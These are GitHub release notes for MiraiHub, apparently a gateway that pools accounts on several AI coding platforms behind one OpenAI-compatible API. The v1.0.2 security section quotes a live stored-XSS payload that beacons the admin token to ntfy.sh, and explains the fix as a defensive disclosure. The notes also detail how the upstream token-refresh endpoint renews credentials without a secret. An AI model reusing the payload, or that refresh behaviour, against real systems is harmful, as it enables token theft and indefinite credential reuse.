Skip to content

Releases: xiaofan6ya/MiraiHub

MiraiHub v1.0.2

Choose a tag to compare

@xiaofan6ya xiaofan6ya released this 02 Nov 08:58

MiraiHub v1.0.2

本版重点:修复控制台存储型 XSS(线上事件)、修正账号令牌有效期的判断口径(此前会误判「30 天后必须重新登录」)、以及一批复制/样式/启动脚本的实际缺陷。

一、安全修复

控制台存储型 XSS(CVE 类,已在线上真实触发)

攻击者用手机号走公开自助注册(/api/join/*)把自己的账号塞进号池,昵称里写入:

');navigator.sendBeacon('//ntfy.sh/xxx',localStorage.wb_admin_token);location='http://x.x.x.x/admin'//

后台账号行把这个昵称拼进内联处理器:

onclick="growthTasks(55,'${esc(a.name)}')"

esc() 只做 HTML 实体转义(& < > "),不处理单引号;而 onclick 属性的值是「先由 HTML 解析器解码实体、再交给 JS 解析」——一个 ' 就能闭合字符串、跳出参数位执行任意语句,把 localStorage 里的后台令牌外带出去。管理员点任意一行操作按钮即中招。

三层修复:

层 做法
入库 新增 clean_display_name():剔除 < > & " ' \ \`、控制字符,长度封顶 64,空值回落到「未命名」——payload 根本进不了库
渲染 模板里不再出现 '${esc(...)}' 这种「单引号 JS 字符串 + HTML 转义」组合,一律改用 jsv()(内部 JSON.stringify,引号被转成 \u0027,实体解码后仍是安全字面量)
回归 tests/test_console_xss.py 用真实 payload 断言三条线都成立

注意:不能用「把 ' 转成 &#39;」来修 —— 实体解码后还是 ',一样能闭合字符串。必须做 JS 层编码。

二、账号令牌有效期:之前的技术结论是错的

原结论是「accessToken 是 30 天 JWT,refreshToken 换新必须 client_secret,而 secret 既不在客户端也不在开源码里,所以 30 天后只能重新登录」。实测推翻:

实测项 结果
刷新端点鉴权 POST /v2/plugin/auth/token/refresh 只要一个 X-Refresh-Token 头,不需要 client_secret
accessToken 已过期 / 签名伪造 / 完全不传 Authorization 三种都返回 200 + 新令牌
刷新后 refreshExpiresIn 恒为 5183999(约 60 天),每刷一次整体后移
旧 refreshToken 重放 仍然成功(宽容轮换,写回失败不会当场废号)

所以凭证是两条独立时间线:

  • access(30 天) —— 过期不是终态,一次刷新就复活,只是「该刷了」的提示
  • refresh(60 天滑动窗口) —— 才是真正的死亡线

本版做了什么

  • admin/platform/workbuddy/core/credential_expiry.py:同时解析两条时间线,输出 state / days_left / refresh_state / renewable,并绝不抛异常(坏号只降级为 unknown,不让整页列表 500)
  • admin/credential_expiry.py:平台无关入口。具体解析由各平台 Gateway.credential_expiry() 回答,admin 不认识 .info 的内部结构(也满足 test_gateway_contract 的「admin 平台无关性」约束)
  • 续期窗口兜底扫描:以前保活是「每天一个整点」,只要那一刻服务不在线就整轮错过(历史上积压过 18 天)。现在每 6 小时检查一次,有号的窗口剩余 < 14 天就立刻补刷,把「整点错过」降级成「最多晚 N 秒」
  • 请求前提前续命:_refresh_if_suspect() 在发请求前把已过期的号续上,不再白烧一次 401;backend._bearer() 覆盖了原来绕过过期检查的 5 处手动拼头(签到 / 成长任务 / 积分明细 / 遥测上报)
  • 刷新字段合并:原来用 payload 整体覆盖 auth,上游少回一个字段就静默丢数据;现在按字段合并
  • 前端徽标拆成两色:access 过期 → 黄色「令牌待刷新」(能自愈);只有续期窗口告急/关闭才红色

三、其它修复

内置模块的循环导入(1.0.1 起就存在)

converter.py 顶部有 from admin.upstream_errors import UpstreamError,这一行会把 admin 包初始化一遍;而 admin/__init__.py 的别名装配会导入平台实现,那个实现第 17 行又写的是 from converter import BACKEND, CredentialError, CredentialManager。

于是成环:converter(第38行) → admin → admin.backend → converter(第114行),此时 BACKEND 还没定义 → ImportError: partially initialized module。

服务本身没炸,纯粹因为 main.py 恰好先 import converter、在 admin 装配前把常量定义好了 —— 靠调用顺序活着。后果是任何把 converter 当独立模块加载的场景(排查脚本、单测、PyInstaller 的不同入口顺序)都会失败。

修法:UpstreamError 改用模块级 __getattr__(PEP 562)按需解析,BACKEND / CredentialError 提前到文件头,growth_plan 的 AccountSession 改为函数内延迟导入。

别名装配静默失败

admin/__init__.py 手动改写 sys.modules["admin.backend"] 时,绕过了 import x.y 会自动做的 setattr(parent, "y", ...)。于是 import admin.backend 能用,但 getattr(admin, "backend") 是 AttributeError —— 而 patch("admin.backend.AccountSession") 走的正是后者,一次影响 9 个测试。

现在同时写入 sys.modules 与包属性;converter 还在初始化时只跳过 backend 这一项(它是唯一反向依赖 converter 的),其余别名照装 —— 避免「装不上」被 except 伪装成「模块不存在」。

复制剪贴板静默失败

顶栏与概览卡的「复制 API 地址」写的是裸 navigator.clipboard.writeText(),没有 catch。在非安全上下文(内网 IP / WebView / 反代)下它会 reject,用户看到「已复制」的提示,剪贴板里却是空的。

现在统一走 writeClipboard():Clipboard API → 失败立刻回落 execCommand,两条路径都走不通时才提示「复制失败,请手动选中」。

1.0.1 的提示条(toast)无样式

1.0.1 的 console.css 里一条 wb-toast 规则都没有,而 index.html 已经输出新结构。后果是提示掉到文档流底部变成纯文本,图标 SVG 没有尺寸约束、按默认 300×150 铺开并填黑 —— 页面上那个巨大的黑色三角形就是它。本版补齐 22 条规则并加回归测试。

移动端设置入口消失

导航改成分组按钮后(接入 同时承载 client / sync / alerts),build_android.py 里「删掉 data-tab=client 按钮」那条正则会把整个分组按钮删掉,连带手机上的设置入口一起消失。构建本身不报错,只有装到手机上才发现。已改为重写为独立的「设置」项,并加 tests/test_mobile_nav.py。

服务重启脚本根本起不来服务

scripts/daemon.ps1 把解释器硬编码成 .venv\Scripts\python.exe。本机没有这个 venv 时,Start-Process 静默失败,日志只留一行空的「已启动服务 PID=」,端口永远不监听 —— 「重启服务没反应」的根因就在这里。

改为按 venv → PYTHON 环境变量 → PATH 依次解析解释器;同时把「固定等 8 秒就判定失败」改为轮询等待(冷启动实测 10 秒上下,8 秒一刀切会把成功报成失败,让真失败和「只是慢一点」混成同一句话)。

账号调度:手动排序语义恢复

「积分到期优先」模式下取「最早到期那一档」做候选,配合「取前 N 档」会让第 2、3 名永远不动。已恢复为默认「只取最小优先级那一档」(用户把某个号拖到第 1 位就是「先烧它」),需要分摊时用 ADMIN_SELECTION_ROTATE_N 显式打开。

四、下载

平台 文件 大小
Windows x64 miraihub-1.0.2-windows-x64.exe 36.0 MB
Android arm64 miraihub-1.0.2-android-arm64.apk 见 Release 附件

五、升级说明

桌面版:直接覆盖安装。会复用 %LOCALAPPDATA%\workbuddy2api\ 下的旧数据库,缺失的列由启动时的 _ensure_column 自动补齐(本版已核对 blocked_ips.expires_at 在清单内)。

Android:卸载旧版后重装。卸载前先导出:账号页 → 管理操作 → 导出。

给账号池的建议:本版上线后先手动点一次「token 保活」,确认日志里的 refreshed 计数不再为 0 —— 之前的实现因为 get_headers() 只在本地 expiresAt 临近时才刷,长期报「成功 N/N、refreshed=0」而实际一个 token 都没动过。

六、校验

# Windows
Get-FileHash .\miraihub-1.0.2-windows-x64.exe -Algorithm SHA256
# Android
Get-FileHash .\miraihub-1.0.2-android-arm64.apk -Algorithm SHA256

与同目录 .sha256 文件比对即可。Release 附件页也会显示 GitHub 侧算出的 digest。

七、已知限制

  • refreshExpiresIn 60 天是滑动窗口,不是无限:只要 60 天内成功刷新过一次就永续,但连续 60 天一次都没成功(服务长期停机)仍会掉号,只能重新授权登录
  • 序号化的手动排序只影响「哪些号参与调度」,不放宽冷却/熔断/额度等健康判定
  • 跨平台凭证解析只实现了 WorkBuddy:Trae / Qoder / Loomy 的凭证结构不同(顶层 token / expiredAt),本版不对它们显示令牌徽标 —— 这是预期,不是异常
  • 本机测试环境中 tests/test_model_limits.py 等 12 个模块存在既有失败(httpx 版本与测试桩对 AsyncClient(transport=...) 的处理冲突,HEAD 版本同样失败),不影响产物;四项核心回归 PASS=76 / 171 / 171 / 83 全绿

MiraiHub v1.0.1

Choose a tag to compare

@xiaofan6ya xiaofan6ya released this 31 Oct 16:23

MiraiHub v1.0.1

这一版主要修 bug:上一版确实有不少「看着能用、实际没跑通」的地方,这次逐个对着线上排查补完。

修掉的真问题

1. 缓存命中不再丢(重要)

第三方客户端(DSH / Cherry Studio / LobeChat / Claude Code 等)之前看不到缓存命中,只有平台内部有账。

  • 网关在流末尾补发的 usage 帧只抄了 prompt/completion/total,把缓存命中字段覆盖掉了;多数客户端对 usage 是「后到覆盖先到」,于是恒为 0
  • /v1/messages 只输出 input/output,cache_read_input_tokens 压根没给

现在四套写法一起回传:prompt_tokens_details.cached_tokens、cached_tokens、cache_read_input_tokens、prompt_cache_hit_tokens(+ 自洽的 miss),并纠正上游「ptd=10240 但 cache_read=0」的自相矛盾(只升不降,无值不伪造 0)。

2. deepseek-v4-pro 调用 400

调用名被缩写映射表误改写成 dmodel 发给上游 → 400 模型 'dmodel' 不存在。现在真实模型 id 优先于别名反查,deepseek-v4-pro / Deepseek-V4-Pro / deepseek-v4-pro-0813 全部 200。

3. 分组限权没生效(严重)

绑了分组的 Key 调 /v1/models 能拿到全部 54 个模型,而分组只允许 4~12 个。现在列表与调用走同一份分组集合:线上 5 个分组实测越权 0 个。

4. 账号表布局

名称列写死 220px + nowrap,头像行被截成 188***…,而「积分到期」白占 582px。改为按比例分配 + 名称行允许换行:名称/uuid 零截断。

5. 概览 7 天 / 30 天变快

  • 30 天口径的 window 与 month 是同一个区间,原来算了整整两遍(白烧 371ms)
  • 「最早一条带缓存的记录」是历史常量,却每次扫 42 万行(省 ~100ms/次)
  • 本月累计按 60 秒缓存;7 天 20 秒、30 天 45 秒

实测(线上 42 万行):今日 559ms、7 天 159ms、30 天 492ms(冷),命中缓存 5ms。

6. 用量日志:分页不再被实时刷新打断

实时刷新用 with_total=false 省一次全表统计,但代码只在非静默时回填总数 —— 于是每刷新一次,分页条就从「共 220931 条 · 1/11047 页」退化成「第 1 页 / 已到末尾」。

7. 慢查询(实测数据)

接口 之前 现在
/api/logs/accounts(账号下拉) 7315 ms 244 ms
按账号汇总 GROUP BY 6593 ms 189 ms
/api/credits/usage(积分统计) 12685 ms 约 400 ms

手段:补 (account_id, created_at, error_kind, credits, total_tokens) 与 (model, created_at, error_kind, credits) 两条覆盖索引,去掉逐行回表。

8. TPS 口径修正

模型卡片的「吞吐 TPS」原来用 total_tokens / 端到端耗时(含 prompt、含首包等待),算出 300~500 的假值。改为 completion_tokens / 纯解码耗时,并剔除「上游整包突发」样本(解码段 <300ms 或折算 >300 tok/s)。

实测 DeepSeek-V4.1-Flash:P50 190.8 / 均值 183.5(和客户端自己记的 100~200 对上了)。

9. 授权回调「粘贴即提交」

服务器部署时上游只认回环回调地址,浏览器必然跳到用户自己的 127.0.0.1。现在:

  • 弹窗内置「② 回调链接」表单,粘贴自动提交,不用再点按钮(按钮留作兜底)
  • 回调页有「复制这条链接」,剪贴板自动回填
  • 服务端只解析、不发起外部请求(避免 SSRF),nonce 与会话绑定

10. 加载反馈与深色配色

  • 全站顶部加载条:任何面板的数据请求超过 120ms 才亮,快请求不闪
  • 深色模式「暗夜蓝」:开关、状态徽标、告警条不再用亮雾蓝,改深藏青 + 冷灰蓝描边

11. 其它修复

  • API Key 列表在 key_prefix 为 NULL 的老库/导入数据上 500(整页空白)→ 兜成空串
  • /api/alerts/config 500:线上 admin/config.py 缺 alert_channels()(部署漂移),已同步
  • 冷却徽标:显示具体冷却时长 + 原因,悬停看「冷却至 / 上游返回 code + 原文」
  • 相同账号重复导入只更新凭证,不再新增重复行

下载

平台 文件 大小
Windows x64 miraihub-1.0.1-windows-x64.exe 36.0 MB
Android arm64 miraihub-1.0.1-android-arm64.apk 26.9 MB

升级说明

  • 桌面版:直接覆盖安装(数据在 %LOCALAPPDATA%\workbuddy2api\,升级不丢)
  • Android:建议先导出配置,再卸载旧版安装新版(签名不同无法覆盖)
  • 服务器 / Docker:拉新代码重启即可;本版新增 2 条覆盖索引,首次启动会由建表逻辑创建(老库请手动执行 CREATE INDEX,否则积分统计仍会慢)

校验

Get-FileHash .\miraihub-1.0.1-windows-x64.exe -Algorithm SHA256
# 5d3d2da7307929568d012df331f9a06738775517c45f4ee3e5663221c8e24081

已知限制

  • Trae 授权仍必须用「粘贴回调链接」:上游只接受回环回调地址,任何域名/公网回调都会被授权页判为「登录失败 / 网络错误」
  • ExchangeToken 的失败信息是未填充模板(10101 无效参数:{__Message.field}),错误码无法定位到具体字段
  • 缓存命中率只统计「上游开始回传 cached_tokens 之后」的记录,早期数据不计入分母

致谢

  • @awoaCrim —— 提出「通用手动授权回调入口」(issue #1 / PR #2)。只接受回环回调这个死结是他先点出来的,v1.0.1 的回调表单沿着这个思路实现
  • @wocaoniubi123 —— PR #3(视频合并临时文件残留、设备令牌 helper 路径、安装目录只扫盘根),已合并进主线

MiraiHub v1.0.0

Choose a tag to compare

@xiaofan6ya xiaofan6ya released this 30 Oct 15:55

MiraiHub v1.0.0

把多个上游平台,聚合成一个标准的 OpenAI 兼容网关。
首发版本,全新项目名与全新架构。


这是什么

手上有好几家平台的账号和额度,但它们:协议各不相同、额度各自到期、单号容易被限流、客户端只支持一种协议。

MiraiHub 的做法是把它们全部收进一个网关,对外只暴露标准协议:

你的客户端                 MiraiHub                      上游平台
─────────              ──────────────────              ──────────
OpenAI SDK   ──►   /v1/chat/completions  ──►   WorkBuddy
Anthropic    ──►   /v1/responses         ──►   Trae 国内版
Codex CLI    ──►   /v1/messages          ──►   Trae 国际版
                          │                    Qoder 中国版
                   统一鉴权 · 选号 · 计费       Qoder 国际版
                   调度 · 重试 · 记账 · 监控     Loomy

对外只有一套 Key 和一套协议;对内自动选平台、选账号、换号重试、按倍率记账。


核心能力

🔁 三协议互通

端点 协议
/v1/chat/completions OpenAI Chat Completions
/v1/responses OpenAI Responses
/v1/messages Anthropic Messages
/v1/models · /v1/balance 模型目录 / 余额

上游不管支持哪种,网关负责转换。工具调用(tool_calls)在三条协议上都完整透传 —— 这点是硬要求:丢了客户端就只收到一个「该调工具了」的空收尾,任务直接卡死。

🧩 平台即容器

新增平台只需在 admin/platform/ 下加一个目录,框架层不用改一行:

admin/platform/<平台>/
  __init__.py         登记 PlatformSpec
  gateway.py          转发实现
  platform_gateway.py 管理契约
  core/               纯协议层
  services/           状态层
  routers/            后台接口

边界判据只有一句:它认识具体平台吗? 认识就是平台模块,不认识就是框架层。方法论完整写在 admin/platform/skill/。

🎯 六种调度策略

策略 适合场景
优先级 主力平台 + 兜底平台
额度优先 避免某个平台先被耗干
到期优先 先把即将作废的额度用掉
吞吐优先 按在途请求数分摊,降低排队延迟
轮转 / 随机 均匀分摊

切换即时生效,新会话按新策略,已有会话保持粘性不中途换平台。

🛡 风控哨兵

  • 按错误码聚合失败信号(限流 / 鉴权失效 / 模型不存在 / 内容拦截)
  • 命中阈值自动熔断该账号,冷却期内不再被选中
  • 可视化拓扑:请求 → 哨兵 → 各平台,出问题的那条线亮红
  • 支持手动暂停某个平台止损(不消耗额度、不打上游)

🔑 精细化 Key

分组(group)              → 限定可用模型集合
平台绑定(platform)       → 只能走这一个平台
多账号绑定(account_ids)  → 只能用这几个账号
并发 / 频率上限            → 独立于全局配额
聚合开关(aggregate)      → 是否参与自动选平台

📊 准确计量

  • TTFT = 首个正文 token(不是首个思考事件)
  • TPS = completion_tokens / (latency - ttft) —— 只算解码段
  • 非流式上游算不出速度时显示「—」,不编造数字
  • 真流式转发:上游来一帧就转一帧,不做「读完再切块」的伪流式

下载

平台 文件 大小
Windows x64 miraihub-1.0.0-windows-x64.exe 35.9 MB
Android arm64 miraihub-1.0.0-android-arm64.apk 26.8 MB

每个产物都附带 .sha256 校验文件。

校验

# Windows
certutil -hashfile miraihub-1.0.0-windows-x64.exe SHA256

# Linux / macOS
sha256sum -c miraihub-1.0.0-windows-x64.exe.sha256

升级说明

源码版 / Windows 桌面版

直接覆盖安装即可,数据自动迁移。

  • 沿用原数据目录,账号、日志、Key 全部保留
  • 启动时自动补齐旧库缺失的列(本次新增 api_keys.aggregate、api_keys.account_ids)
  • 不需要手动导出再导入

实测:拿 1.13.0 的旧库升级,api_keys 从 15 列补到 19 列,5 个账号 / 40 个模型 / 11 条日志一条没丢。

Android APK

建议卸载旧版后重装。

  • 旧版是单平台架构,新版是多平台聚合网关,数据结构不同
  • 如需保留旧数据,请先打开旧版「账号池」,用「导出」把账号导出成 JSONL
  • 新装后在同一位置「导入」即可

为什么 APK 必须卸载重装(两个原因叠加,任一都导致无法覆盖安装):

  1. 签名变了:旧版证书 CN=WorkBuddy2API Android(fa651c81…),
    本版证书 CN=MiraiHub Android(d3057e4c…)。Android 不允许跨签名覆盖。
  2. versionCode 倒退:旧版 1.16.0 → 1016000,本版 1.0.0 → 1000000。
    改名后版本号重置,版本码跟着变小,系统会拒绝降级安装。

卸载前请先在旧版「账号池」里用「导出」保存账号,装好新版再「导入」。

桌面版不受影响:数据目录是稳定的用户级路径,升级程序原地复用。

从旧项目名迁移

项目已从旧名重命名为 MiraiHub。如果你之前部署过旧版本:

  • 环境变量名保持不变(ADMIN_* 系列),.env 不用改
  • 数据库路径不变,数据直接可用
  • 有新仓库地址,旧的更新检查会失效,请使用本次 Release

快速开始

桌面版

下载 miraihub-1.0.0-windows-x64.exe,双击运行。
首次启动会自动创建数据目录、生成管理员密码,并打开工作台。
运行后驻留系统托盘,右键图标可以启动/停止服务。

源码运行

git clone https://github.com/xiaofan6ya/MiraiHub.git
cd MiraiHub
pip install -r requirements.txt
cp .env.example .env        # 至少设置 ADMIN_PASSWORD
python main.py

启动后:

  • 管理后台 http://127.0.0.1:8790/admin
  • 网关入口 http://127.0.0.1:8790/v1

数据库支持 SQLite(默认)与 MySQL(ADMIN_DATABASE_URL)。

调用示例

from openai import OpenAI

client = OpenAI(base_url="http://127.0.0.1:8790/v1", api_key="sk-你的Key")

# 不带到平台后缀 = 自动按调度策略选平台
resp = client.chat.completions.create(
    model="deepseek-v4.1-flash",
    messages=[{"role": "user", "content": "你好"}],
)

# 指定平台
resp = client.chat.completions.create(
    model="deepseek-v4.1-flash-trae-cn",
    messages=[{"role": "user", "content": "你好"}],
)

界面

深色为主,浅色可切换。主色是低饱和雾蓝,跟随主题变量,改一处即可全站更换。

  • 概览:余额、用量、缓存命中、平台状态
  • 平台网关:调度策略 + 调度可视化 + 平台速度
  • 风控哨兵:实时拓扑 + 平台健康 + 自动熔断
  • 账号池 / 积分到期 / 用量日志 / API Keys

已知限制

  • APK 只提供 arm64-v8a(覆盖绝大多数现代设备)
  • 桌面版备份功能仅 SQLite 模式可用;MySQL 部署请用数据库自带的备份工具
  • 非流式上游无法测算 TPS,界面显示「—」
  • 长视频拼接需要系统里有 ffmpeg:桌面版为了控制体积没有内置它(内置一份要 30 MB,占整包 40%)。装了 ffmpeg 或设置 WB_FFMPEG 环境变量指向它即可用;没装时前端「合并」按钮会置灰,不会生成坏文件。

许可

MIT License。


如果这个项目对你有帮助,欢迎 Star。